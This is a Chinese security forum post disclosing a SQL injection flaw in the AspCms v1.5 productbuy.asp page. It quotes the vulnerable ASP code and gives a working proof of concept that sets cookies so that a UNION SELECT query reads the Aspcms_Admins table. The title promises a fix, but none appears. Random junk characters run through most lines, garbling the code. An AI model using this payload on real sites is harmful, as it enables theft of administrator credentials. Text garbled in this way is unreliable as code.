中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
0 W% Q9 v# D5 x- e/ Z3 n% Y: _也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。! o. c3 E* k$ {( A! G
废话不多说,看代码:
3 }# i" b8 [$ |7 }) {7 p2 G
+ Y+ F* y4 [9 q7 m<%' j9 f' E& h5 f+ I) L1 `  x. s

6 E7 ~: R0 x9 ^* ~: Yif action = "buy" then
, S- w2 j: E4 X
- C9 V3 w0 U* e        addOrder()* {: |" x: {" r0 e
+ p8 y8 l. q. N+ ~% n& ~; ~
else8 D, L+ q2 B6 J! F- {# j( Z

- _$ U! K, |0 }: r$ A# N        echoContent()* f6 }6 h6 Z' ?" D$ ~7 j
8 w: y3 l# ~: o9 q
end if
: M; d; O2 F; p/ L% x" h  T" q6 ?

" U& b. K( r( P. d: Q- A. @6 A* v
5 K' s$ b+ h9 w5 m……略过' B$ B) p$ g6 R# `$ R
3 r9 m% g# _* v! c
9 D  k. ?+ g8 d2 i. r
% W0 ?- e6 X. V2 S' T
Sub echoContent()
. g; g3 F5 R+ `& y. V* B/ P  @# f, f  d" K+ c3 R  M7 x
        dim id+ `' m6 ]- c" I+ [! r% B7 A

) n2 R/ c6 Q, a2 ~3 o6 H" f' ~3 d        id=getForm("id","get")
% I9 l6 M8 u6 B* h( x3 K! ^% n6 y- ?; F
        
1 O/ M' s2 S7 Q# D3 q: w
6 e) A6 {0 E. [+ I8 m        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
' |- z# D% k* I: n; u/ u+ e0 f" V7 }# u0 o( h- [& J
        / }3 K: j3 ~9 }% \% p

  w& x" n" x, p- w3 [) i        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"): e- |4 r2 b* C1 B
7 f$ z, s5 B" ^0 C/ h
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct) O3 T% O- Q# f; p
5 n5 f+ D5 i5 N( d
        Dim templatePath,tempStr, k7 |/ p! |1 j5 j2 {2 l* U: o5 i2 B
4 K; b* L. v8 F" M: i
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"/ J% b6 T6 ~5 x) Q/ _4 p  {

/ u  v1 T; ^+ g# b3 l  l$ U( \. \
, p8 b4 n" E2 R, N" X; A/ Z  x% j  ~5 l. i
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")+ y4 E% E* m" A$ @
- }1 L" K" B0 n# x  q3 R- ]
        selectproduct=rsObj(0)" o) u' E! q! A) C

" i* ?$ E6 v! f0 O/ {0 Z2 }+ S& n        & m" q- A! s6 n1 \+ D) s; q3 h: ~
2 j) L2 o1 z% C, L
        Dim linkman,gender,phone,mobile,email,qq,address,postcode5 X( |) x5 K3 V* O6 E

+ h& k6 L6 _* t$ M2 ]0 D        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0: J+ C0 r6 F8 p" \6 Q

- a9 z3 ?" [! h) N# I        if rCookie("loginstatus")=1 then  ( H; N1 ^! P  l8 ?* v" B

' G3 O5 g0 |- y* h5 U                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
9 \# H# ^6 g7 ]4 r  }  E3 ?& G4 Z# H# ]( D+ c, Z* J( G& S- N
                linkman=rsObj("truename")2 ~* N2 g6 v% k8 ~/ R
- H' F' s; i: p, w% m
                gender=rsObj("gender")
" i4 ?7 l5 q9 u5 v3 V& q, w
1 @0 @' z, j3 V% e5 c                phone=rsObj("phone")' D( `/ ^2 M* y6 N# \
6 D$ @5 ?5 L* L: P# C; N
                mobile=rsObj("mobile")+ U$ d8 i  w) D- m6 \

5 O- _! S6 }9 G0 _7 B1 Q                email=rsObj("email")
. l/ l/ f0 e( Y4 B# |( h
0 U# B* I) E' C  B6 B- P5 d; {                qq=rsObj("qq")
. [/ I9 D5 z& Y& C: `7 t- \" A2 P  C4 a" ~% D: |
                address=rsObj("address")
6 ]6 r' J7 E& [' E- y6 U' @3 W& R9 f; j' ?  u+ T
                postcode=rsObj("postcode")
9 h& z( i5 Z3 ]- c( b8 n: S8 W  B, c
        else
$ K4 T: Q' W; a/ _6 [; _5 U% X8 F
                gender=1
; G' a6 `! q7 a3 ^" U6 I* O
! H7 q% _5 g! v9 N8 ?7 K8 m9 c- b        end if
# C8 b$ f" q. n
3 Z+ F; W/ z1 `5 C9 X, V        rsObj.close()
1 A( E0 ?' g; l( Z6 ?
! u: w4 e7 g! x) S3 w. v6 d: k% d                . a. |# S/ r, V* ]
+ P+ m) o0 i) e. k
        with templateObj * A1 |6 c3 w3 d! O, w
+ q4 ~6 N3 D' J* K
                .content=loadFile(templatePath)        ! b( _! W* U, f
: ~. F: \9 c' l& q: h+ A- f
                .parseHtml()
+ d# G- {8 `; @6 V4 X
  {+ E2 ~' d# x) {/ O0 z( u: Y. B                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)8 R/ T  S) E5 v- }# h5 S
% K* m. i! e$ j- f4 Y# M& a
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
( n  S- R3 @: y4 E# i
: X. V- u9 v2 U; Y+ Y3 U                .content=replaceStr(.content,"[aspcms:gender]",gender)                # L+ U7 X+ ]" u+ ]9 h! r

3 {. @" l3 W( @0 o6 a' ^9 x' U                .content=replaceStr(.content,"[aspcms:phone]",phone)                & ^* _4 K% S1 v. Y- k$ j* I
$ H* G* `/ i' [8 G1 F' ^! h
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                5 c0 n4 g( l# p+ F

) l/ z6 t% C' j2 b4 ?7 c) b                .content=replaceStr(.content,"[aspcms:email]",email)                        1 f" z; G% n7 t
4 \' H+ P( F! g; {
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        : Z1 W* q; p0 p/ |4 I7 ~/ R+ S  h* ^% v) H

  H/ J* Q! h4 ~) s' b* @                .content=replaceStr(.content,"[aspcms:address]",address)                        % s& `/ H; p0 [2 k( m( u
5 e! P8 R3 a$ l# G+ T  {
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        $ g/ K! }; `6 Q. |4 a

" @' }3 h& R: J7 [8 h7 V4 u) ^; u                .parseCommon()                 - _# `& E$ y$ w; b( ~8 M/ {. s: v
# z% U8 g, v( @
                echo .content 4 ^8 n5 J! L* ?1 l9 f
% \- O$ w* {: j0 S
        end with- I8 [) D9 C: ]# `& M

$ C6 N' l8 b7 d8 p8 v        set templateobj =nothing : terminateAllObjects9 w- M- ^2 `7 P0 I/ s' ]
0 ?4 a4 f6 T2 s* e- B+ G& m
End Sub
- s* _$ A7 E- I, C2 k, @* F漏洞很明显,没啥好说的5 b$ V0 @/ t- H' _; `6 z# ^  B! ]
poc:
/ I' [  x4 ~  v' Q: t( G- R" l+ C, C8 x, {( y
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
# I& ~; K3 y; B# T2 b* l% J5 s) g+ K* f  B





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2